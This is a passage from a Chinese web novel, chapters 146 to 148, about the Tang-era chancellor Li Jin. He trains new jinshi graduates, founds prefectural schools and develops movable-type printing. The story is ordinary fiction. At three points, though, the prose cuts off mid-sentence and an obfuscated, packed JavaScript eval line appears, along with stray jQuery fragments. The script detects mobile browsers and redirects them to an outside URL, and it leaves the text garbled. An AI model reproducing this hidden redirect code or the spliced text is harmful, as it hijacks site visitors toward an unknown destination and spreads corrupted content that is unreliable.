武媚娘接口道:“这三来,这三个月,正好可以观察品性,甄别优劣,看看哪些是真正可造之材,哪些又容易被糖衣炮弹腐蚀。更重要的是,在这三个月里,让他们明白,他们的前程是谁给的,他们该效忠的是谁。**”她满意地看了李瑾一眼,“此议甚好。便以政事堂的名义下发敕令,着吏部、礼部会同办理。讲**之地……就设在原弘文馆旧址,更名为‘进士馆’。讲师人选,你拟个名单上来。”
“臣遵旨。”李瑾躬身。这个短期的“进士馆”,将是一个绝佳的熔炉与筛子,也是一个强有力的信号:这些通过新制选拔出来的人才,朝廷(更准确地说,是天后与李瑾所代表的力量)将亲自来培养和塑造,不容他人染指。**
“另外,”武媚娘走到窗前,望着远处依稀可闻的喧嚣声传来的方向,嘴角噙着一丝冷峭的笑意,“让御史台和百骑司的人,给本宫盯紧了。看看是哪些人家,最是迫不及待,手段最是下作。这场‘榜下捉婿’的热闹,不仅是热闹,更是一面镜子,照得出人心,也照得出哪些是朋友,哪些是……需要提防的对手。**”
“是。”李瑾心领神会。这场因科举新制而引发的、席卷长安的“捉婿”狂潮,在帝国最高统治者的眼中,早已不仅是一场婚姻与人才的市场交易,更是一次对各方势力的试探、观察与重新排列组合的契机。**新贵的崛起,必然伴随旧有秩序的调整与博弈,而这一切,才刚刚开始。
殿外,春风拂过宫墙,带来远处街市隐隐的喧哗。那喧哗声中,有新科进士们志得意满的笑语,有权贵家仆们高声的招揽,有商贾中人精明的算计,也有无数落第士子黯然又怀揣新希望的叹息。在这片喧嚣之下,帝国人才流动与权力分配的格局,正在发生着自隋唐以来最为深刻的一次嬗变。而“榜下捉婿”这幕延续了数百年的热闹戏码,在今年,因为注入了“糊名誊录”这一全新的变数,变得更加炽热,也更加耐人寻味。**
第146章 瑾为座师恩
显庆六年,暮春三月,长安,弘文馆旧址——新挂匾额的“进士馆”。
晨光熹微,洒在修葺一新的馆舍庭院。青砖墁地,回廊洁净,几株移栽不久的老槐树已抽出嫩绿的新芽,在微风中沙沙作响,为这处新辟的“熔炉”增添了几分静谧与肃穆。馆舍内,近百名新科进士身着统一的青色学袍,正襟危坐于宽敞的明伦堂中,目光或期待、或紧张、或好奇地投向正前方那个尚未有人入座的主讲席。
这里,便是政事堂敕令设立的“进士馆”。所有今科进士,无论甲第高低,在正式授官赴任前,都需在此接受为期三个月的集中讲**。名义上,由吏部、礼部会同国子监主持,授课者为宰辅重臣与六部有司堂官,讲授朝廷典章、吏治实务。但几乎所有人都心知肚明,这进士馆真正的灵魂人物,是那位以中书侍郎同平章事、实际主导了此番科举新制的年轻宰相——李瑾。
辰时正,钟磬声悠然响起。堂内瞬间鸦雀无声。脚步声自廊外传来,不疾不徐,沉稳有力。一道颀长挺拔的身影,身着紫色常服,腰佩金鱼袋,在几名低品文吏的簇拥下,步入明伦堂,登上了主讲席。
正是李瑾。
他目光平静地扫过堂下。这些面孔大多年轻,眼神中有跃跃欲试的朝气,也有初入庙堂的惶惑;有出身寒素者的质朴与坚韧,也不乏世家子弟残存的矜持与审视。这是一群被新规则筛选出来的人,他们的未来,将在很大程度上决定帝国未来数十年的面貌。
“诸君。”李瑾开口,声音清朗,不高,却清晰地传入每个人耳中,“今日起,诸位便在此进学。馆中规矩,自有学正告知。本相今日不讲经义,不论诗赋,只与诸君闲谈几句。”
他顿了顿,继续道:“诸君寒窗苦读,金榜题名,自此脱去褐衣,换此青袍,可谓鱼跃龙门,光耀门楣。然而,跃过龙门之后,是化为真龙腾云驾雾,还是困于浅滩碌碌无为,甚或行差踏错、折戟沉沙,皆在诸君自身抉择。**”
“朝廷设进士馆,非为禁锢诸君,实为助诸君明道、正途。明何道?为臣之道,为官之道,为民之道。正何途?忠君体国之途,实心任事之途,清正廉明之途。**”李瑾语气平缓,却字字千钧,“科场之上,糊名誊录,求的是一个‘公’字。仕途之中,更需秉持一个‘公’心。此心若偏,纵有经天纬地之才,亦不过为害更烈。”
“本相知诸君之中,多有出身寒素者。”他的目光在陈仲举、卢照等明显衣着简朴的进士脸上停留片刻,“一路行来,艰辛备尝。如今释褐为官,或有亲朋故旧投奔,或有富贵诱惑在前。如何自处?本相赠诸君四字:不忘本心。**不忘昔日苦读时,所求为何?不忘身为百姓时,所期为何?手中权柄,来自朝廷,亦当归于朝廷,用于百姓。此方是立身之基,亦是长久之道。”
他又看向那些出身较好的进士:“亦有名门之后,家学渊源。然而,祖宗荫庇,可庇一时,难庇一世。朝廷取士,重在实学实干。望诸君能放下门第之见,虚怀若谷,与同僚切磋,为百姓务实。如此,方不负家声,亦不负朝廷拔擢之恩。**”
一席话,不疾不徐,既有威严训诫,亦有循循劝导,更隐含期许。堂下众进士,无论出身如何,皆是凝神静听,心中各有思量。许多寒门子弟,只觉这番话句句说到了心坎里,温暖而充满力量;一些世家子弟,虽心中或有不以为然,但面对这位权倾朝野、主导了他们前程的年轻宰相,也不得不收起傲气,仔细揣摩其中深意。**
“今日起,诸君白日听讲,晚间自习,每旬一小考,每月一大考。所学所考,除经史大义外,更重案牍公文、钱谷刑名、地理边情等实务。考评结果,将直送吏部,与诸位日后铨选、升迁密切相关。”李瑾最后道,语气转厉,“馆内严禁私相授受,更禁绝与外界不当交接,尤其是那些所谓‘投卷’、‘行卷’之举。一经发现,轻则黜落出馆,重则革去功名。望诸君慎之,戒之。”
言罢,李瑾不再多言,示意今日课程由吏部考功司郎中开始讲授《大唐官制与考课述要》,自己则转身离去。然而,他那番开场训诫,尤其是“不忘本心”、“重在实学实干”等语,已深深印在了不少人心中。更重要的是,他亲自出面主持这进士馆的开端,无异于向所有人宣示了他对这批新科进士的重视与主导权。在大唐官场的潜规则中,这便是一种隐性的“座师”身份的确立。**
接下来的日子,进士馆的生活紧张而规律。每日不仅有各部堂官、翰林学士前来讲授实务,更有如李义府、袁公瑜等出身寒微却位居高位的“榜样”人物,分享为官心得、官场经验。所授内容极为务实,从如何判读户籍账册,到如何处理地方诉讼;从漕运粮储的关节,到边防驿传的要点,几乎囊括了地方官员所需的一切知识。**这让那些只知埋头经史、缺乏实际历练的进士们大感新奇,亦觉受益匪浅。
然而,真正的“座师”恩义,并不仅限于课堂讲授。
一日傍晚,李瑾并未回府,而是留在进士馆后堂,翻阅着近期进士们的“馆课”作业。这些作业,并非寻常诗文,而是李瑾亲自布置的“案例分析”——或是某地水患赈济的疏漏,或是某桩积年旧案的疑点,或是边镇粮饷调度的难题,要求进士们依据所学,提出解决方案。
他看得极慢,时而提笔在纸页边缘写下寥寥数语批注。当看到交州陈仲举关于如何利用岭南气候发展双季稻、并在山区推广耐旱作物的条陈时,他微微颔首,批道:“知其地,察其情,方能谋其政。所言颇切实际,可行性强。然推广之法,可再细化,尤其是如何说服俚僚土著,可参考汉代赵过代田法之宣导策。**”批完,他沉吟片刻,对侍立在侧的一名书吏道:“明日课后,让陈仲举来见我。”
书吏应下,心中却是一动。李相亲自单独召见一个新科进士,这是极罕见的恩遇。**
次日,陈仲举怀着忐忑又激动的心情,被引至后堂一间静室。室内陈设简朴,唯有一桌、一椅、一榻,以及满墙的书架。李瑾正坐在桌后,手中拿着的,正是他的那份馆课作业。
“坐。”李瑾指了指对面的蒲团,语气平和。
陈仲拱手深揖,这才小心翼翼跪坐下来,背脊挺得笔直。
“你的条陈,我看过了。言之有物,很好。”李瑾开门见山,“尤其是提到利用俚僚熟稔山地之利,推广薯蓣、木豆等杂粮以备荒,此为前人论岭南农事者所未及。**你是如何想到的?”
陈仲举没想到李瑾首先问的是这个细节,稳了稳心神,恭敬答道:“回禀相爷,晚生家中贫寒,少时曾随俚人入山采药换米,见其虽不擅水田稻作,却于山间石缝中亦能种活薯蓣,度荒年时,往往比平地稻户更易存活。**故晚生以为,农政当因地制宜,而非强求一律。”
“因地制宜……”李瑾重复了一遍,眼中露出赞许,“说得好。为政之道,亦当如此。你既通农事,又明边情(其策论中亦有涉及安抚俚僚之策),吏部拟授你岭南道某州司户参军,你意下如何?”
陈仲举心中狂跳,司户参军虽只是从七品下的州郡佐官,但掌户口、籍账、田宅、杂徭等,正是贴近民生的实务官职,对他而言是极好的起点。他立刻离席拜倒:“晚生叩谢相爷栽培!定当竭尽驽钝,不负朝廷与相爷厚望!”
“不是不负我,是不负朝廷,不负你交州父老,更不负你胸中所学。”李瑾抬手示意他起身,语气转为严肃,“岭南路远,民情复杂,瘴疠遍地。此去绝非坦途,你可有准备?”
陈仲举深吸一口气,目光坚定:“晚生自幼生于边地,不惧艰苦。唯愿以所学,稍解百姓之苦,上报天恩。”
“好。”李瑾点点头,从案头拿起一本薄册,“此乃本相闲暇时整理的一些地方钱谷刑名案例,以及些许为官心得,你拿去看看吧。记住,为官一任,不求急功近利,但求脚踏实地,问心无愧。若有疑难,可写信至长安,但不必寄我府上,递至崇仁坊‘文华书局’即可。”
“文华书局?”陈仲举一愣,随即意识到这可能是某种隐秘的联系方式,心中更是感激莫名,双手微颤地接过那本尚带墨香的薄册,再次深深下拜:“相爷教诲,晚生永志不忘!”
类似的情景,在接下来的日子里,时有发生。精于算学、被商贾争抢过的明算科进士,被李瑾召去,询问了对于改进市舶司关税计算与防止胥吏贪墨的看法,并指点其去户部度支司见**;那位在馆课中表现出对刑律、案牍有独特见解的进士,被李瑾询问了数桩经典疑案,末了勉励道:“律法之用,在于明是非,定分止争,而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000306|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非酷吏逞威之具。望你日后掌刑名,能存哀矜之心,持公正之衡。”甚至,连那位因“榜下捉婿”时被工部郎中与商贾同时看中、略显木讷的河工进士卢照,也因其一份关于整治汴河某处险工的详实方案,得到了李瑾的单独接见与指点,最后被分派到工部水部任职。
李瑾的“指点”,往往切中要害,不仅解答学业疑难,更涉及为官做人的道理,乃至具体职务的利弊、需要注意的关节。他从不空谈大义,所言皆落到实处,让这些新科进士深感“如饮醍醐”。更重要的是,这种指点是在一种相对私密、平等的氛围中进行的,充满了前辈对后进的赏识与提携之意,而非上位者的单纯训诫。这对于大多出身寒微、缺乏引路人的新进士而言,所带来的感激与归属感,是无以伦比的。**不知不觉间,“**”、“座主”这样的称呼,开始在他们私下交流中出现,带着深深的敬意。
当然,并非所有进士都能得到这种单独召见的“恩遇”。那些在馆课中表现平平,或是言谈举止间仍不自觉流露出对新制不满、对寒门同僚不屑的世家子弟,李瑾也并未苛责,只是保持着一种礼貌而疏离的态度。他的关注与恩遇,明显更多地倾斜于那些出身寒素、脚踏实地、且在思想上更易接受新政的年轻人。**这是一种无声的筛选与站队。
三个月时光倏忽而过。当讲**临近结束,吏部的授官文书陆续下发时,进士馆中的气氛已悄然改变。最初的那种混杂着志忑、矜持与疏离的氛围,被一种更为务实、也隐隐带着派系分野的新秩序所取代。以陈仲举、卢照等一批得到李瑾亲自指点、授官也多为实缺的寒门进士为核心,一个隐形的、以李瑾为中心的新进官员群体,开始形成。他们之间,开始以“同年”、“馆友”相称,私下交流日益密切,对李瑾的称呼,也从恭敬的“李相”,逐渐变为更为亲近的“恩相”或“座主”。
离馆前夜,李瑾在馆中设下简单的宴席,为众人饯行。没有珍馐美馔,只有简单的菜蔬和浊酒。李瑾举杯,对众人道:“今日之后,诸君便将各赴前程,或处庙堂,或宰州县。望诸君牢记此间所学,持身以正,用心以诚,办事以实。他日若有所成,是朝廷之福,百姓之幸,亦是尔等自身之功。若遇困厄挫折,可回想今日之言,或可有所得。这杯酒,本相敬诸君前程似锦,亦敬我大唐,英才辈出!”
众人轰然应诺,举杯共饮,许多年轻的面庞上,已激动得泛起红光。这一刻,不仅是一场饯行,更是一种无形的烙印与纽带的加固。他们或许官职不高,或许前途未卜,但在这个暮春的夜晚,他们清晰地感知到,自己的身上,已经打上了某种新的印记,与那位高高在上却又如此贴近的年轻宰相,有了一种名为“师生”的联系。这份联系,在注重师道传承、强调人际纽带的大唐官场,有着非同一般的分量。**
宴罢人散,李瑾独立于庭中槐树下,望着空寂下来的馆舍。月光洒落,树影婆娑。
侍立在侧的心腹书吏低声道:“相爷,这三个月,您辛苦了。这些新科进士,假以时日,必能成为您的得力臂助。”
李瑾微微摇头,望着夜空中隐约的星辰,缓缓道:“臂助?或许吧。但更重要的是,他们是朝廷的未来,是新制度下长出的新苗。我今日播下些种子,浇些水,是希望他们能长得正,长得直,能真正为这天下,为这朝廷,做点实事。至于是否成为谁的臂助……那要看他们自己的选择,也要看这朝局如何变化。”
他顿了顿,语气转为深沉:“记住,今日我施恩于他们,非为结党,而为公心。若有一日,他们中有人忘了这份公心,走上歧路,那我第一个不会放过的,就是他们。**”
书吏心中一凛,连忙躬身:“相爷深意,小人明白。”
夜风拂过,带来远处隐约的更鼓声。进士馆的灯火依次熄灭,那些年轻的身影将在明日黎明后,奔赴帝国各地。但在这座静谧的庭院里,一种新的、以实学为纽带、以李瑾为精神领袖的政治力量的种子,已经悄然埋下。他们或许现在还很弱小,很分散,但随着时间的推移和彼此在官场上的提携呼应,这股力量,终将成为一股不可忽视的潮流,影响朝局的走向。而这,正是设立进士馆、李瑾亲自施以“座师”之恩的深层用意所在。**
第147章 书院遍州府
显庆六年,夏,长安。
“进士馆”的成效,如同一枚投入湖心的石子,涟漪远远超出了长安城墙的范围。当第一批经过系统培训、思想相对统一、且多少打上了“李相”门生烙印的新科进士们奔赴各地上任后,朝廷中枢对人才培养与选拔的关注,也自然地从终端的“选”与“用”,延伸到了更前端的“育”。若说科举新制是为寒门英才打开了通往庙堂的大门,那么,如何让更多的寒门子弟能够有机会走到这扇门前,便成了下一步必然的课题。**
紫宸殿,政事堂会议。
初夏的阳光透过雕花窗棂,在光洁的金砖上投下斑驳的光影。李瑾、许敬宗、李义府、上官仪等几位宰相,以及礼部、吏部、户部的堂官齐聚一堂,商议的正是“推广官学,广建书院”之事。
“进士馆三月之效,诸公有目共睹。”李瑾手持一份整理好的各地新进士到任后的初期表现简报,声音平稳,“然进士馆所训,不过百人。天下士子何止万千?若只靠长安一地之国子监、弘文馆,或是各地零星散乱的私塾、家学,不仅难以保证生员数量,更难以保证其所学能符合朝廷取士之新标准。**尤其是实学、时务,非有名师指点、系统传授不可。”
礼部尚书崔敦礼(接替此前因反对新制而被调离的崔诠)抚须沉吟:“**所言甚是。然则,推广官学,兴建书院,耗费巨大。各州县财力不均,如何筹措?师资又从何而来?更有一层,各地世家大族,多有族学、书院,素来是其培养子弟、维系门第之根本。朝廷若大张旗鼓兴建官学,势必触动其利,阻力恐不下于科举改制之初。”
“崔尚书所虑,乃老成谋国之言。”李瑾点点头,并不否认,“然事有轻重缓急,亦有主次之分。朝廷欲长治久安,必得人才。人才不出于公门,则必出于私门。私门昌,则公门弱,此消彼长,非社稷之福。至于钱粮……”他看向户部尚书高履行,“高尚书,去岁盐铁转运之利,及今春清查逆产所得,除填补历年亏空、支撑边用外,可有余裕,专设一项‘兴学款’?不必求全,但求在关键州府先行试点。”
高履行掌管钱袋,对数字极为敏感,闻言立刻在心中盘算一番,谨慎道:“回**,若只在天下十道中各选一二上州、紧要边州先行试办,每州拨付一笔建学、聘师、膏火之资,或可勉力支撑。然此为长久之计,非一时之费。**需有稳定财源。”
“财源之事,可徐徐图之。或从各州商税、市舶抽分中划出定额,或鼓励地方乡绅捐资助学,朝廷予以旌表。甚至……**”李瑾眼中闪过一丝光芒,“可将部分抄没的逆产田宅,直接拨付给新设书院,以其产出充作学田。此事可议。当下之急,是先将架子搭起来,立下规矩。”
他转向众人,语气渐转铿锵:“至于师资,正可从今科进士及往年有实学、通时务的低品官员、落第举子中遴选。进士馆的讲义、案例,可整理刊印,下发各地书院作为参考。更可定期从长安派遣学士、博士,乃至致仕老臣,赴各道州巡讲。务使天下士子明白,朝廷取士,重在何处,他们该学**什么。”
“至于世家阻力……”李瑾语气转冷,“科举糊名誊录,他们挡不住。推广官学,他们同样挡不住。这是阳谋,是朝廷为国储才的正道。他们可以继续办他们的族学,但朝廷也要办朝廷的官学。孰优孰劣,天下士子自有公论,时间也自有公断。**若有人胆敢阻挠破坏,自有御史台与地方有司按律纠劾!”
一直静听的上官仪,此时缓缓开口道:“**之议,立意高远。然教化之事,润物无声,急不得。不若先拟个条陈章程,明确各级书院(州学、县学)之建制、员额、考选、膏火,以及与我朝原有国子监六学之衔接,奏请天后、陛下圣裁。待诏令明发,再选数道稳妥之地先行试办,以观后效,逐步推广。如此,既显朝廷决心,亦留有余地,可免激变。”
这个提议务实而稳妥,得到了多数人的赞同。李瑾也知此事非一日之功,从善如流。会议之后,一份由李瑾主导、汇聚了礼部、吏部、户部及翰林院诸学士智慧的《请广州县学以育人才疏》很快拟定,经政事堂合议通过后,呈送御前。**
疏中详细规划了在天下各道治所、紧州大郡设立“州学”,在各县设立“县学”的蓝图。州学规模较大,分设经义、进士、明法、明算、明字等斋,仿国子监之制;县学则规模稍小,以蒙学、经义、时务为主。所有官学生徒,皆由地方官按照一定名额从本地士子中公平考选,不得徇私。生徒在学期间,可享受一定的“膏火钱”(生活补贴)及免除部分徭役的待遇。授课内容,除传统经史外,必须加入时务策、律法常识、数算基础乃至本地水利农桑等实用知识。师资由朝廷统一考核派遣或认可,其考绩与生徒科考成绩挂钩。同时,鼓励地方乡绅捐资助学,朝廷予以立碑旌表、赐匾等荣誉。
诏书很快下达,准如所请。并着令先在河南道(洛阳)、河东道(太原)、山南东道(襄阳)、剑南道(成都)、江南东道(苏州)等五处文教相对兴盛、或位置紧要的道州,各选一州先行试点,限期一年内建成开学。所需钱粮,由户部“兴学款”及地方筹措共同承担。此事由宰相李瑾总其成,礼部、工部协理。
政令一出,天下震动。反应最快的,是那些嗅觉敏锐的地方官员和急于改变命运的寒门士子。试点的几个州郡,官府迅速行动起来,清理旧有的官舍、祠庙,或是购置民地,开始热火朝天地营建学舍。而消息灵通的地方士绅,尤其是那些家资丰厚却苦于门第不高、子弟读书无门的富商、庶族地主,则是欢欣鼓舞,纷纷打探捐资标准,或是开始严格督促子弟备考,准备争夺那有限的官学生员名额。**
然而,暗流也随之涌动。在那些世家大族盘根错节的州郡,无形的抵制悄然开始。
河南道,洛阳。作为东都,洛阳文风鼎盛,但也是河南世家的大本营之一。新任河南府尹接到诏令,不敢怠慢,立刻选定南市附近一处旧官署改建“洛阳州学”。然而,在征集名师时,却遇到了麻烦。几位在洛阳颇有名望的致仕官员或在乡绅耆,或是称病,或是以“才疏学浅,不敢误人子弟”为由,婉言谢绝了官府的聘请。显然,他们背后得到了某些暗示或压力,不愿得罪本地的世家大族。而那些世家控制的私塾、族学,则开始暗中提高待遇,招揽有潜力的寒门学童,试图在官学建成前,将人才苗子提前“掐尖”。**
河东道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000307|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太原。王氏、薛氏等本地大族的影响根深蒂固。当地官府在清查可用作学田的无主荒地或抄没田产时,屡屡受到来自地方豪强的阻挠与软钉子,不是地契纠纷,就是有人声称早已承租。**筹建学舍的工料采购,也莫名其妙地变得不畅,价格虚高。
然而,并非所有地方都阻力重重。
剑南道,成都。蜀中虽亦有世家,但远离中原**中心,加之商贸发达,庶族地主与商贾势力不弱,对打破世家垄断有着天然的渴望。成都府尹本身便是一位寒门出身的干吏,对此事极为上心。他不仅迅速划拨了城西一片风景秀丽的旧园林作为学址,更亲自出面,召集本地有声望的退休官员、有实学的落第举子,甚至从转运使司在蜀中的分司借调了几名精通钱谷数算的吏员充当教**。消息传出,蜀中各地的寒门士子闻风而动,甚至有不少家境尚可的庶族地主,主动捐赠钱粮、书籍,只求能为子弟或族中俊秀争取一个入学名额。**成都州学的筹建,反而成了凝聚本地非世家势力的一件盛事。
江南东道,苏州。此地文风甲于天下,私学、族学本就极为发达。面对朝廷推广官学的政令,本地的世家大族表现出了惊人的“灵活性”。他们没有明目张胆地抵制,反而是由几个大族牵头,“踊跃”捐资,并推荐了族中几位学问优长、但地位不高的旁支子弟出任教**。他们的算盘打得很精:既要占据这新兴官学的道德制高点和实际影响力,又要将其纳入自家的影响范围,至少不能让其成为对抗自己的堡垒。苏州的官学建设,遂在一种表面和谐、暗中较劲的氛围中展开。
长安,李瑾很快收到了来自各试点州郡的、明面上的进展汇报与暗中的密报。他对各地的不同反应并不意外。这本就是一场漫长的、渗透与反渗透的较量。他一面以政事堂的名义,向那些遇到阻力的州郡发出措辞严厉的督办文书,并授意御史台准备弹劾几个跳得最欢的地方豪强以儆效尤;另一方面,则开始着手挑选和培训一批年轻、有干劲、出身可靠的低品官员和新科进士,作为未来派往各地官学的“学正”或骨干教**的储备。
与此同时,一个更深远的计划,也在李瑾心中酝酿。光有官学书院还不够,必须有与之配套的、能够廉价而快速传播知识的工具。他想起了记忆中那项即将改变世界的发明——活字印刷。尽管此时雕版印刷已不罕见,但成本高昂,效率低下,且多用于佛经和少数经典,难以大规模推广实用性的教材。若能将活字印刷完善并推广,与遍布州府的官学书院相结合,那么打破世家对知识的垄断,将不再是遥不可及的梦想。
夏日的阳光,灼热而明亮,照耀着正在发生深刻变革的大唐帝国。从长安的政事堂,到洛阳的工地,到成都的园林,再到苏州的捐资盛会,一张以官学书院为节点的、旨在重塑帝国人才根基的巨大网络,正在悄然铺开。尽管前路必然荆棘密布,但这股由最高权力推动的、代表着更广泛阶层利益的潮流,已经不可阻挡地开始奔涌。无数曾经被排斥在知识大门之外的寒门子弟,他们的命运轨迹,将因为这些遍布州府的新建书院,而发生根本性的改变。**而这改变的涟漪,终将汇聚成冲击旧秩序、塑造新世界的惊涛骇浪。
第148章 活字印经典
显庆六年,秋,长安城西,将作监下属“文思院”深处。
空气里弥漫着墨香、木料与某种特殊黏土混合的气息。不同于外间的喧嚷,这处新辟出的僻静院落,气氛肃穆中带着一种奇特的专注。十余名从将作监、少府监精选出的老练工匠,以及几位通晓经史的国子监算学博士,正围拢在几方长案前,或凝神观看,或低声讨论,目光都聚焦在中央那位身着紫色常服的年轻人——李瑾手中。
李瑾面前的长案上,铺着一块素绸,上面散乱摆放着数十个大小、高厚完全一致的黄褐色小方块。方块顶端,是凸起的反体阳文字符,笔画清晰,结构规整。旁边,则是一个与雕版印刷所用相似的木质印盘,只是盘内被纵横的薄木条分隔成了整齐的方格。
“诸位请看,”李瑾拈起一个刻有“之”字的小方块,声音平稳清晰,“此物,我称之为‘活字’。以黏土塑形,阴干**窑烧制,使其坚硬。一字一模,可重复使用。”他将那“之”字块放入印盘的一个方格内,又随手捡起“天”、“下”、“为”、“公”等字块,依次放入相邻方格,很快便在印盘上排出了“天下为公”四个反体字。
“排好之后,以铁范固之,使字块稳固。再如雕版一般,刷墨、铺纸、施压。”李瑾一边说,一边示意身旁一位老工匠操作。那工匠显然已练习,手法娴熟地在排好的活字版上均匀刷上墨,覆上一张宣纸,用棕刷轻轻扫过。片刻后揭起,纸上赫然是清晰端正的“天下为公”四个墨字。
围观众人屏息凝视,随即发出低低的惊叹。他们都是精通技艺或算学之人,瞬间便意识到了这看似简单工序背后蕴含的巨大变革潜力。
一位头发花白、手指布满老茧的雕版老匠颤声道:“相爷……这、这……若果能如此,岂不是省去了每印一书便要新刻整套雕版的功夫?这些字块,印完一版,拆散重组,又能再印他书?”
“正是此理。”李瑾颔首,拿起另一个字块,“雕版印刷,一版一页,费工费料,且一旦雕成,便只能印固定内容,若要更改一字,往往需重刻整版,或费大力气修补。而活字不同。只需预先烧制出足够的单字,常用字如‘之’、‘乎’、‘者’、‘也’等,可多备数枚甚至数十枚,生僻字则少备。排版时,按文稿检出相应字块,排列于印盘之中。一书印毕,拆版归位,字块又可用来排印下一本书。如此循环使用,工效何止提高十倍?所费成本,更是大大降低。”
一位算学博士激动地接口:“不仅如此!雕版笨重,储存占地,且易虫蛀损坏。而这泥活字,小巧规整,易于分类储存,取用方便。若能大量制作,岂不是天下书籍,皆可付之梨枣(印刷),而不必再全赖手抄传播?**这、这简直是功在千秋的创举啊!”
李瑾却摆了摆手,神色依旧冷静:“创举不敢当,此法古已有零星设想,只是未成系统,亦未大规模应用。今日召诸位前来,便是要集思广益,将此想法落到实处,形成一套可大规模生产、使用的成熟技艺。”他环视众人,目光锐利,“此事,关乎朝廷文教大计,关乎天下士子能否有廉价书籍可读,更关乎我大唐文脉能否真正下移,泽被苍生。故此,陛下与天后特旨,成立‘印书局’,就设在此处,由本相直接督办。诸位皆是精挑细选出的能工巧匠、博学之士,望能同心协力,攻克难关。”
他指向案上那些泥活字样品:“眼下,这只是初成之型。泥字虽易制,但质地较脆,易破损,且着墨性、耐磨性尚需改进。诸位可尝试更换材料,如木活字、陶活字,甚至……可尝试以铅、锡等金属铸字。同时,排版之法、固版之术、刷印之技,乃至储存、检索字块之方,皆需诸位反复试验,制定出最优规程。所需钱粮、人手、物料,一概从优支应,不必吝啬。**本相只要结果——一套稳定、高效、可大量复制的活字印刷之法。”
众人闻言,又是激动,又是感到沉甸甸的责任。他们明白,自己正在参与一项可能改变天下文化面貌的伟业。李瑾的许诺,更让他们再无后顾之忧。
“此外,”李瑾从袖中取出一份清单,“这是首批需要试印的书目。除《五经正义》等科举必读经典外,更有进士馆所用的《时务策要略》、《大唐律疏节要》、《九章算术启蒙》等实用教材,以及本相令人编纂的《农桑辑要》、《水利简明图说》等有利生产的通俗读物。**务求清晰、准确、价廉。”
一位年长的博士看着书目,迟疑道:“相爷,印制经典,事关重大,版本、校勘若有差池,恐贻笑大方,甚至……”
“甚至招致非议,尤其是那些藏有珍本、善本的世家大族,是吗?”李瑾替他说完,语气淡然却坚定,“正因如此,才更要由朝廷来印,来定下标准。印书局所印经典,必须以秘书省、国子监所藏官定版本为底本,集合鸿儒精心校雠,务求准确无误。我们要印的,是‘天下通行之定本’。至于那些私藏异本、以家学自矜者……时代在变,有些东西,是守不住的。”
接下来的数月,文思院深处的这处院落,成了整个长安城最忙碌也最神秘的地方之一。炉火日夜不息,试验着不同配比的黏土、木材,甚至尝试着熔炼铅锡合金。敲打声、切削声、讨论声、试印时的刷纸声,交织成一曲前所未有的工业与文化交响。失败是家常便饭,泥字易碎,木字易胀缩变形,金属字则面临着铸字精度和着墨的难题。但李瑾给予了最大限度的耐心和支持,更重要的是,他总能在关键时刻提出一些看似天马行空、细思却极有道理的点拨,如木活字可用纹理细密的梨木、枣木并预先蒸煮处理,金属活字可尝试在字面做特殊处理以利着墨等。**
与此同时,外界并非风平浪静。活字印刷术的研发虽在保密中进行,但“朝廷欲大规模印书以惠士林”的消息还是不胫而走。最初,这消息并未引起太大波澜,许多人以为不过是扩大规模的雕版印刷罢了。但当有心人探听到,新成立的“印书局”在疯狂试验各种材料,目标似乎是某种“可反复拆拼”的印刷术时,一些敏锐的世家人物,尤其是那些以藏书丰赡、家学渊源自傲的经学世家,感到了隐隐的不安。
一次朝会间隙,秘书少监、出身荥阳郑氏的郑敬玄,看似不经意地对李瑾道:“听闻**近日于将作监别辟蹊径,研制新法印书?此诚为嘉惠士林之善举。只是……印制经典,关乎圣人微言大义,字句章句,差之毫厘,谬以千里。民间雕版,尚且常有讹误,新法初创,恐更需慎之又慎。不若先印些蒙学杂书,待技艺纯熟,再及经典不迟。”
这番话,表面上关心,实则绵里藏针,既质疑新技术的可靠性,更隐含了对朝廷“定本”权威的潜在挑战——若朝廷印的书错了,岂非误导天下学子?而他们世家所藏的“家传古本”,自然就成了更权威的标准。
李瑾闻言,微微一笑:“郑少监所虑极是。正因关乎重大,才更需由朝廷集贤校勘,统一刊印,以定一尊,免生歧义。至于新法是否可靠……”他语气转淡,却带着不容置疑的自信,“待出成品,郑少监与诸位同僚,自可验看。若有讹误,本相一力承担。倒是各家所藏版本,互有异同,以往学子无所适从,今后,倒是可以有个统一的标准了。”
郑敬玄碰了个不软不硬的钉子,面色微僵,不再多言。但这番对话,已经将未来可能的冲突,隐约揭开了一角。
冬去春来,显庆七年春。经过近半年的反复试验、改进,在耗费了巨量资源后,印书局终于取得了关键性突破。他们最终确定,以质地坚细的枣木制作常用活字,而以铅锡合金铸造生僻字及需要大量重复使用的字,解决了木字易损、金属字着墨不佳的难题。排版技术也趋于成熟,发明了带卡槽的金属活字盘和便于检字的按韵部排列的字架。刷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 